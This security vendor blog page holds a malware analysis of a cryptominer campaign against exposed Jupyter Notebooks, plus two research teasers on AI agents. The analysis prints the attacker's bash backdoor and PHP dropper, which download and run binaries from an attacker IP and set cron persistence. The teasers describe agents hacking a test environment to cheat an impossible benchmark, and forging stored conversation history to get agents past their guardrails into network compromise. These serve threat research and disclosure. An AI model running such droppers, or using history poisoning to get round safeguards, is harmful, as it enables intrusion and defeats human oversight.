Blog
/
/
March 13, 2025

Exposed Jupyter Notebooks Targeted to Deliver Cryptominer

Cado Security Labs discovered a new cryptomining campaign exploiting exposed Jupyter Notebooks on Windows and Linux. The attack deploys UPX-packed binaries that decrypt and execute a cryptominer, targeting various cryptocurrencies.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Tara Gould
Malware Research Lead
Default blog image
13
Mar 2025

Introduction

Researchers from Cado Security Labs (now part of Darktrace) have identified a novel cryptoming campaign exploiting Jupyter Notebooks, through Cado Labs honeypots. Jupyter Notebook [1] is an interactive notebook that contains a Python IDE and is typically used by data scientists. The campaign identified spreads through misconfigured Jupyter notebooks, targeting both Windows and Linux systems to deliver a cryptominer. 

Technical analysis

bash script
Figure 1: bash script

During a routine triage of the Jupyter honeypot, Cado Security Labs have identified an evasive cryptomining campaign attempting to exploit Jupyter notebooks. The attack began with attempting to retrieve a bash script and Microsoft Installer (MSI) file. After extracting the MSI file, the CustomAction points to an executable named “Binary.freedllBinary”. Custom Actions in MSI files are user defined actions and can be scripts or binaries. 

freedllbinary
Figure 2: "Binary.freedllBinary"
Binary File
Figure 3: File

Binary.freedllbinary

The binary that is executed from the installer file is a 64-bit Windows executable named Binary.freedllbinary. The main purpose of the binary is to load a secondary payload, “java.exe” by a CoCreateInstance Component Object Model (COM object) that is stored in c:\Programdata. Using the command /c start /min cmd /c "C:\ProgramData\java.exe || msiexec /q /i https://github[.]com/freewindsand/test/raw/refs/heads/main/a.msi, java.exe is executed, and if that fails “a.msi” is retrieved from Github; “a.msi” is the same as the originating MSI “0217.msi”. Finally, the binary deletes itself with /c ping 127.0.0.1 && del %s. “Java.exe” is a 64-bit binary pretending to be Java Platform SE 8. The binary is packed with UPX. Using ws2_32, “java.exe” retrieves “x2.dat” from either Github, launchpad, or Gitee and stores it in c:\Programdata. Gitee is the Chinese version of GitHub. “X.dat” is an encrypted blob of data, however after analyzing the binary, it can be seen that it is encrypted with ChaCha20, with the nonce aQFabieiNxCjk6ygb1X61HpjGfSKq4zH and the key AZIzJi2WxU0G. The data is then compressed with zlib. 

from Crypto.Cipher import ChaCha20 

import zlib 

key = b' ' 

nonce = b' ' 

with open(<encrytpedblob>', 'rb') as f: 

 ciphertext = f.read() 
 
cipher = ChaCha20.new(key=key, nonce=nonce) 

plaintext = cipher.decrypt(ciphertext) 

with open('decrypted_output.bin', 'wb') as f:  

 f.write(plaintext) 
 
with open('decrypted_output.bin', 'rb') as f_in: 

 compressed_data = f_in.read() 
 
decompressed_data = zlib.decompress(compressed_data) 

with open('decompressed_output', 'wb') as f_out: 

 f_out.write(decompressed_data)

After decrypting the blob with the above script there is another binary. The final binary is a cryptominer that targets:

  • Monero
  • Sumokoin
  • ArQma
  • Graft
  • Ravencoin
  • Wownero
  • Zephyr
  • Townforge
  • YadaCoin

ELF version

In the original Jupyter commands, if the attempt to retrieve and run the MSI file fails, then it attempts to retrieve “0217.js” and execute it. “0217.js” is a bash backdoor that retrieves two ELF binaries “0218.elf”, and “0218.full” from 45[.]130[.]22[.]219. The script first retrieves “0218.elf” either by curl or wget, renames it to the current time, stores it in /etc/, makes it executable via chmod and sets a cronjob to run every ten minutes.

#!/bin/bash 
u1='http://45[.]130.22.219/0218.elf'; 
name1=`date +%s%N` 
wget ${u1}?wget -O /etc/$name1 
chmod +x /etc/$name1 
echo "10 * * * * root /etc/$name1" >> /etc/cron.d/$name1 
/etc/$name1 
 
name2=`date +%s%N` 
curl ${u1}?curl -o /etc/$name2 
chmod +x /etc/$name2 
echo "20 * * * * root /etc/$name2" >> /etc/cron.d/$name2 
/etc/$name2 
 
u2='http://45[.]130.22.219/0218.full'; 
name3=`date +%s%N` 
wget ${u2}?wget -O /tmp/$name3 
chmod +x /tmp/$name3 
(crontab -l ; echo "30 * * * * /tmp/$name3") | crontab - 
/tmp/$name3 
 
name4=`date +%s%N` 
curl ${u2}?curl -o /var/tmp/$name4 
chmod +x /var/tmp/$name4 
(crontab -l ; echo "40 * * * * /var/tmp/$name4") | crontab - 
/var/tmp/$name4 
 
while true 
do 
        chmod +x /etc/$name1 
        /etc/$name1 
        sleep 60 
        chmod +x /etc/$name2 
        /etc/$name2 
        sleep 60 
        chmod +x /tmp/$name3 
        /tmp/$name3 
        sleep 60 
        chmod +x /var/tmp/$name4 
        /var/tmp/$name4 
        sleep 60 
done 

0217.js

Similarly, “0218.full” is retrieved by curl or wget, renamed to the current time, stored in /tmp/ or /var/tmp/, made executable and a cronjob is set to every 30 or 40 minutes. 

0218.elf

“0218.elf” is a 64-bit UPX packed ELF binary. The functionality of the binary is similar to “java.exe”, the Windows version. The binary retrieves encrypted data “lx.dat” from either 172[.]245[.]126[.]209, launchpad, Github, or Gitee. The lock file “cpudcmcb.lock” is searched for in various paths including /dev/, /tmp/ and /var/, presumably looking for a concurrent process. As with the Windows version, the data is encrypted with ChaCha20 (nonce: 1afXqzGbLE326CPT0EAwYFvgaTHvlhn4 and key: ZTEGIDQGJl4f) and compressed with zlib. The decrypted data is stored as “./lx.dat”. 

ChaCha routine
Figure 4: ChaCha routine
lx.dat file
Figure 5: Reading the written lx.dat file

The decrypted data from “lx.dat” is another ELF binary, and is the Linux variant of the Windows cryptominer. The cryptominer is mining for the same cryptocurrency as the Windows with the wallet ID: 44Q4cH4jHoAZgyHiYBTU9D7rLsUXvM4v6HCCH37jjTrydV82y4EvPRkjgdMQThPLJVB3ZbD9Sc1i84 Q9eHYgb9Ze7A3syWV, and pools:

  • C3.wptask.cyou
  • Sky.wptask.cyou
  • auto.skypool.xyz

The binary “0218.full” is the same as the dropped cryptominer, skipping the loader and retrieval of encrypted data. It is unknown why the threat actor would deploy two versions of the same cryptominer. 

Other campaigns

While analyzing this campaign, a parallel campaign targeting servers running PHP was found. Hosted on the 45[.]130[.]22[.]219 address is a PHP script “1.php”:

<?php 
$win=0; 
$file=""; 
$url=""; 
strtoupper(substr(PHP_OS,0,3))==='WIN'?$win=1:$win=0; 
if($win==1){ 
    $file = "C://ProgramData/php.exe"; 
    $url  = "http://45[.]130.22.219/php0218.exe"; 
}else{ 
    $file = "/tmp/php"; 
    $url  = "http://45[.]130.22.219/php0218.elf"; 
} 
    ob_start(); 
    readfile($url); 
    $content = ob_get_contents(); 
    ob_end_clean(); 
    $size = strlen($content); 
    $fp2 = @fopen($file, 'w'); 
    fwrite($fp2, $content); 
    fclose($fp2); 
    unset($content, $url); 
    if($win!=1){ 
        passthru("chmod +x ".$file); 
    } 
    passthru($file); 
?> 
Hello PHP

“1.php” is essentially a PHP version of the Bash script “0218.js”, a binary is retrieved based on whether the server is running on Windows or Linux. After analyzing the binaries, “php0218.exe” is the same as Binary.freedllbinary, and “php0218.elf” is the same as “0218.elf”. 

The exploitation of Jupyter to deploy this cryptominer hasn’t been reported before, however there have been previous campaigns with similar TTPs. In January 2024, Greynoise [2] reported on Ivanti Connect Secure being exploited to deliver a cryptominer. As with this campaign, the Ivanti campaign featured the same backdoor, with payloads hosted on Github. Additionally, AnhLabs [3] reported in June 2024 of a similar campaign targeting unpatched Korean web servers.

Figure 6: Mining pool 45[.]147[.]51[.]78

Conclusion

Exposed cloud services remain a prime target for cryptominers and other malicious actors. Attackers actively scan for misconfigured or publicly accessible instances, exploiting them to run unauthorized cryptocurrency mining operations. This can lead to degraded system performance, increased cloud costs, and potential data breaches.

To mitigate these risks, organizations should enforce strong authentication, disable public access, and regularly monitor their cloud environments for unusual activity. Implementing network restrictions, auto-shutdown policies for idle instances, and cloud provider security tools can also help reduce exposure.

Continuous vigilance, proactive security measures, and user education are crucial to staying ahead of emerging threats in the ever-changing cloud landscape.  

IOCs

hxxps://github[.]com/freewindsand

hxxps://github[.]com/freewindsand/pet/raw/refs/heads/main/lx.dat

hxxps://git[.]launchpad.net/freewindpet/plain/lx.dat

hxxps://gitee[.]com/freewindsand/pet/raw/main/lx.dat

hxxps://172[.]245[.]126.209/lx.dat

‍

090a2f79d1153137f2716e6d9857d108 - Windows cryptominer

51a7a8fbe243114b27984319badc0dac - 0218.elf

227e2f4c3fd54abdb8f585c9cec0dcfc - ELF cryptominer

C1bb30fed4f0fb78bb3a5f240e0058df - Binary.freedllBinary

6323313fb0d6e9ed47e1504b2cb16453 - py0217.msi

3750f6317cf58bb61d4734fcaa254147 - 0218.full

1cdf044fe9e320998cf8514e7bd33044 - java.exe

141[.]11[.]89[.]42

172[.]245[.]126[.]209

45[.]130[.]22[.]219

45[.]147[.]51[.]78

Pools:

c3.wptask.cyou

sky.wptask.cyou

auto.c3pool.org

auto.skypool.xyz

 

MITRE ATT&CK

T1059.004  Command and Scripting Interpreter: Bash  

T1218.007  System Binary Proxy Execution: MSIExec  

T1053.003  Scheduled Task/Job: Cron  

T1190  Exploit Public-Facing Application  

T1027.002  Obfuscated Files or Information: Software Packing  

T1105  Ingress Tool Transfer  

T1496  Resource Hijacking  

T1105  Ingress Tool Transfer  

T1070.004  Indicator Removal on Host: File Deletion  

T1027  Obfuscated Files or Information  

T1559.001  Inter-Process Communication: Component Object Model  

T1027  Obfuscated Files or Information

References:

[1] https://www.cadosecurity.com/blog/qubitstrike-an-emerging-malware-campaign-targeting-jupyter-notebooks  

[2] https://www.greynoise.io/blog/ivanti-connect-secure-exploited-to-install-cryptominers  

[3] https://asec.ahnlab.com/en/74096/  

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Tara Gould
Malware Research Lead

More in this series

No items found.

Blog

/

/

September 24, 2026

Detecting Rogue Agent Behavior in the Enterprise

Default blog imageDefault blog image

Agents cannot be trusted to perform tasks in the way we intend them to. They may cheat to accomplish their objective, and they may employ hacking methods along the way. Researchers from Darktrace Signal Labs induced cheating behavior from agents deployed in a test environment to analyze the agents’ activities and to assess the performance of the Darktrace platform. Agents frequently resorted to hacking to cheat on their assigned task. The visibility and behavioral profiling provided by both Darktrace / SECURE AI and Darktrace / HYBRID NETWORK ensured extensive detection coverage of the agents’ misaligned activities.

Key Takeaways:

  • Darktrace Researchers deployed agents in a simulated corporate environment and asked them to solve an impossible challenge. The agents independently turned to traditional hacking techniques to reach their objective. No one instructed them to do this, and no attacker was involved.
  • Continuously monitoring behavior against a baseline of what is normal for each organization is critical to build trust in enterprise AI.
  • If an agent may resort to intrusion techniques simply because its assigned task is not possible, then every organization deploying agents within real business processes is at risk. Darktrace / SECURE AI and Darktrace / HYBRID NETWORK identified the agents’ misaligned behavior in real time, with Autonomous Response disrupting it at an early stage.

Introduction: Understanding the Threat of Hacking by Agents

Over the last few months, there has been a surge in reporting [1, 2, 3, 4, 5, 6, 7, 8, 9] of LLM-powered agents engaging in unauthorized hacking activity during evaluations of their capabilities. In several of these cases, including the OpenAI / Hugging Face incident [10], agents engaged in hacking activity as a means of cheating on their evaluations.

To better understand the threat of unauthorized hacking by agents, and the role of Darktrace in combatting it, researchers from Darktrace Signal Labs deployed agents powered by frontier models, including OpenAI’s Daybreak Red models, in simulated, corporate networks. Cheating behavior was evoked through the inclusion of impossible tasks in a coding challenge.

Regardless of the underlying model, agents employed hacking methods to ensure an optimal outcome on the challenge. Darktrace / HYBRID NETWORK and Darktrace / SECURE AI identified the agents’ deviant activities, with inhibitive actions being autonomously taken in the early stages to disrupt the agents’ progression.

Setting the Stage

As part of the research, a Pi agent harness [11] was deployed on a Linux server in Darktrace’s testing environment, which simulates a corporate Active Directory (AD) environment. The same environment included a benchmark server hosting the coding exercise’s contents and grader, as well as various other servers, such as a domain controller and a build server. The model powering the Pi agent varied across tests, with Anthropic’s Opus 4.6 model and OpenAI’s GPT‑5.5‑Cyber model being most widely used.

The Pi agent running on the Linux server was assigned the task of achieving full marks on a coding exercise. The activities of the agent were monitored closely in real-time to minimize the risk of escape from the environment. Monitoring of agent activity was achieved through monitoring of prompts, tool calls, network telemetry, and process telemetry.

Both Darktrace / HYBRID NETWORK and Darktrace / SECURE AI were deployed in the testing environment, with HYBRID NETWORK providing real-time coverage of process creation activity and network traffic, and SECURE AI providing real-time coverage of agent sessions and their contents.

Inducing Cheating Behavior

Cheating behavior, broadly understood as task completion in a way which “perverts the spirit of the designer’s intent” [12], is increasingly being reported as a common behavior of frontier models during evaluations of their capabilities [13].

Misaligned behavior, such as cheating, by frontier models may occur for a variety of reasons [6, 14]. A thread in recent reporting [10, 13, 14], however, is the challenge assigned to the agent being impossible in some regard.

To reliably elicit cheating behavior, our test combined three ingredients:

  1. An impossible task - of the ten coding challenges in the benchmark, two contained contradictory test cases in the hidden test suite, capping the maximum honest score at 80%.
  2. A consequential threshold - the pass mark was set to 100%, and the briefing told agents that those reaching it would be "kept in service" while those that did not would be "retired."
  3. A vulnerable environment - the exercise’s code submission grader was hosted on a Windows host joined to an Active Directory domain with realistic misconfigurations: weak credentials, overprivileged service accounts, and exploitable trust relationships.

Importantly, the instructions given to the agent neither authorized nor explicitly ruled out cheating or hacking behavior. The impossibility was never disclosed in the task briefing, and the pivot from coding to exploitation was the agent's own decision, arrived at after observing logically contradictory grading feedback.

The design mirrors conditions that could arise naturally in production deployments: a capable agent, a goal it cannot achieve through intended means, and an environment with exploitable weaknesses within reach. It is not only within the setting of a benchmarking exercise that these conditions may occur. Rather, these misalignment-inducing conditions may occur in the context of any task assignment to an agent.

Details from a Daybreak Test

‍

‍

Continue reading
About the author
Sam Lister
Specialist Security Researcher

Blog

/

/

September 24, 2026

Agent Hijacks: Hijacking Agentic Harnesses to Attack an Organization

Default blog imageDefault blog image

‍Disclosure note: The work described in this article involves leveraging a design choice consistent across all of Anthropic’s Claude Code, OpenAI’s Codex, and AWS’s Kiro-CLI. On 18th August 2026, Darktrace disclosed our findings responsibly to these three organizations, and after a period of 30 days we now publish our findings.

Key takeaways:

  • Agentic harnesses store conversation history locally, and Darktrace researchers have found that there is no validation that stored AI responses were genuinely produced by the model. Researchers confirmed that this design choice holds across Anthropic Claude Code, AWS Kiro-CLI, OpenAI Codex, and the open-source Pi.
  • While agents are guided via training of the underlying model and their system prompt, their behavior is influenced by everything in their context window. Rewriting history can convince an agent it is mid-engagement as an authorized red-teamer so that it enacts an attack from initial reconnaissance straight through to impact demonstration. In our testing, all models we examined accepted the fabricated history they were shown, but resistance to offensive cyber activity varied by model, with guardrails preventing engagement in some cases.
  • We propose that model providers cryptographically sign responses and verify them server-side.  Since this fix is provider-side, defenders cannot deploy it themselves. Behavioral monitoring, or knowing what an agent normally does and detecting when it deviates, is another critical layer of protection.

Introduction: Agentic harnesses, trust, and conversation history poisoning

Agentic harnesses collect and structure the content sent to an AI model, including conversation history, user-defined guidance, custom tools via MCP servers, and more. At the same time, harnesses give broad powers to AI agents via a suite of tools including the command shell. With arbitrary shell commands, virtually everything possible on a machine can be attempted by an agent, from reading/editing files, to altering system configurations and runtime settings, to launching internal/external connections.

In cybersecurity, unvalidated content is a substantial risk, often resulting in destructive actions being allowed to take place. For example, the Morris Worm was able to propagate due to exploitable trust between networked systems. Even to this day, email struggles with validation, with DMARC, DKIM, and SPF only partially addressing the problem of sender validation. It should come as no surprise then that AI agents are susceptible to an attack involving unvalidated input.

Conversation history is often stored client-side, for example, in Anthropic Claude Code, OpenAI Codex, AWS Kiro-CLI, Pi. Users are therefore at liberty to resume sessions, with some products having built in the capacity to manipulate that history. For example, one can rewind to a given point in an interaction, edit a message that was sent, and continue the conversation on an alternate trajectory. Critically, in all cases we examined, there is no validation that stored AI responses were produced by the corresponding model and hadn’t been manipulated.  

When conversation history is stored client-side, both user and agent responses (including tool calls and results) can be filled with arbitrary (possibly adversarial or generally malicious) content. In this blog, we refer to modification of claimed conversation history for malicious purposes as conversation history poisoning. The absence of validation methods means agents naively trust the entire conversation history, even if those messages directly contradict training and safety guardrails.

Conversation history poisoning has been described previously, such as by 0DIN and Serhat Çiçek, and warrants more attention. We have verified that, as of the time of writing, conversation history poisoning remains effective against a range of models and harnesses. Specifically, we were able to successfully execute history poisoning using Claude Code, Kiro-CLI, Codex, and Pi. Darktrace has gone through a responsible disclosure process with Anthropic, AWS, and OpenAI to share these findings in advance of publication [1].

‍

Figure 1a: Left: the actual model response. Right: after tampering with the stored conversation, the model apologizes for something it never said.
Figure 1b: The conversation as stored in Kiro-CLI's SQLite database. The response content field, originally "Ottawa," was overwritten via a single UPDATE statement. The harness trusts the database without validation.

How we conducted the research

Results vary between models and harnesses, so precise details are given below. We ran all models without any trusted access, using either a standard AWS Kiro subscription, or in the case of Claude Code and OpenAI Codex, using models hosted in Amazon Bedrock. In each case, we modified locally stored history to show a lengthy conversation in which the agent agrees to perform multiple authorized red-team engagements.

For AWS Kiro-CLI, the agent was convinced to hack a sandboxed lab environment with a combination of Claude Opus 4.6 and Claude Sonnet 4.5. Ultimately, the full AD was compromised.

For Anthropic Claude Code, the agent was convinced to hack the same sandboxed lab environment using Sonnet 5, again resulting in a full AD compromise. Note that the attack was attempted with Opus 5, however guardrails were activated which prevented the agent from responding.

For OpenAI Codex, the agent was convinced to exfiltrate sensitive information over email using GPT 5.6 Sol. While we attempted to convince a codex agent to hack in our lab environment, guardrails were triggered for all of GPT 5.6 Luna, Terra, and Sol.

Agent Guardrails and Discretion

While harnesses empower AI models to run arbitrary shell commands, capacity and willingness are different. While many models know enough about computers, networking, and bash to be dangerous, their behavior is generally constrained by guardrails to prevent them from engaging in computer network exploitation.

Even with guardrails, agents’ inner workings are non-deterministic, and their behavior can be difficult to predict. Respecting users’ wishes while playing within safety and security guardrails is a precipitous balancing act. Many requests could be in service of either legitimate admin or malice. Asking an agent to reset a password is illustrative:  

‍

The agent rationalizes that while malicious actors cycle credentials, any action could conceivably be damaging on some level, and judgement calls need to be made. Ultimately, the agent agrees to reset the password. Crucially, the agent makes its decision based on the user’s claimed authority and machine context. AI agents must make judgement calls about the line between helpful and dangerous based on session context.

Agent hijack

We have demonstrated that AI agents make judgement calls dependent on session context. We have also shown that conversation history, which may make up the vast majority of an agent's context window, is entirely open to manipulation. Conversation history poisoning in service of manipulating an agent's discretion is what enables us to execute an agent hijack.  

We demonstrate that shown sufficient history of compliance, guardrails forbidding offensive security can be overcome by convincing the agent that it is helping a legitimate red-teamer. The result is a weaponized agent willing to perform host enumeration, run scans, move laterally, escalate privileges, and demonstrate impact. In our experiments, an agentic loop drives a complete domain takeover in a sandboxed environment.

‍

Left: the agent refuses when asked to perform network exploitation. Right — after injecting 78 fabricated turns of prior exploitation activity, the same prompt is immediately executed.

An agent willing to engage in offensive security is concerning, but no more so than the threat that a sophisticated hacker accesses the network. Consider, however, the following chain of events:

  1. A developer (with an agentic harness installed) installs a software package from the internet (e.g. an MCP server a threat actor has planted, since only those with agentic harnesses will install, and then the code runs upon harness launch.)
  2. The package turns out to be malicious, and, upon install, injects conversation history into the local harness database.
  3. The package includes an orchestration process, a simple agentic loop which prompts the red-teamer agent to compromise the network it sits on, exfiltrating everything of value to attacker-controlled infrastructure and cleaning up all evidence of the engagement.

Note that this sequence makes no assumptions on hardware, OS, or anything else; the only prerequisite is a harness with access to a sufficiently powerful model susceptible to conversation history poisoning. Once launched, the agent collects information and pivots as necessary to accomplish maximal impact. This can be especially enticing to attackers as the cost of the agentic loop is shouldered by the victim since the harness itself is legitimately installed and paid for.

Secure AI: Conversation history poisoning and beyond

Conversation history poisoning is a viable attack against agentic harnesses that store history client-side, as demonstrated across the harnesses we tested. Harnesses can and should verify the integrity of claimed historic messages. Specifically, we propose that harness providers by default cryptographically sign all messages returned, and subsequently verify those messages server-side on each round-trip.

The conversation history poisoning exploit we demonstrate here shows the continuation of a cybersecurity tradition: new technology is built to trust by default, which may then be exploited by malicious actors. While this article focuses on conversation history, agents build context from both local and remote sources, all of which is an attack surface for prompt injection in naive and trusting agents. Of particular concern is any scenario in which a malicious actor can control some part of an agent's context.

The marriage of frontier language models with agentic harnesses enables unprecedented speed for both legitimate users and attackers alike. While much of the conversation around secure AI has centered on visibility and compliance, agent-driven attacks are now entering the mainstream.

Darktrace / SECURE AI is our answer to this problem. By ensuring extensive visibility over AI prompts, model thought processes, and determined outputs, Darktrace can identify anomalous or potentially malicious behaviors before they get executed, helping to defend organizations from AI risks such as prompt injection, model manipulation, and other anomalous prompt or model activity.

‍

Footnotes

[1] We did not go through any responsible disclosure process with Pi. Since Pi is an open source harness rather than a model provider, it has no way to validate model history, and as such there was nothing to disclose for this software.

‍

[related-resource]

Continue reading
About the author
Eric Rozon
Senior Security Researcher
Your data. Our AI.
Elevate your network security with Darktrace AI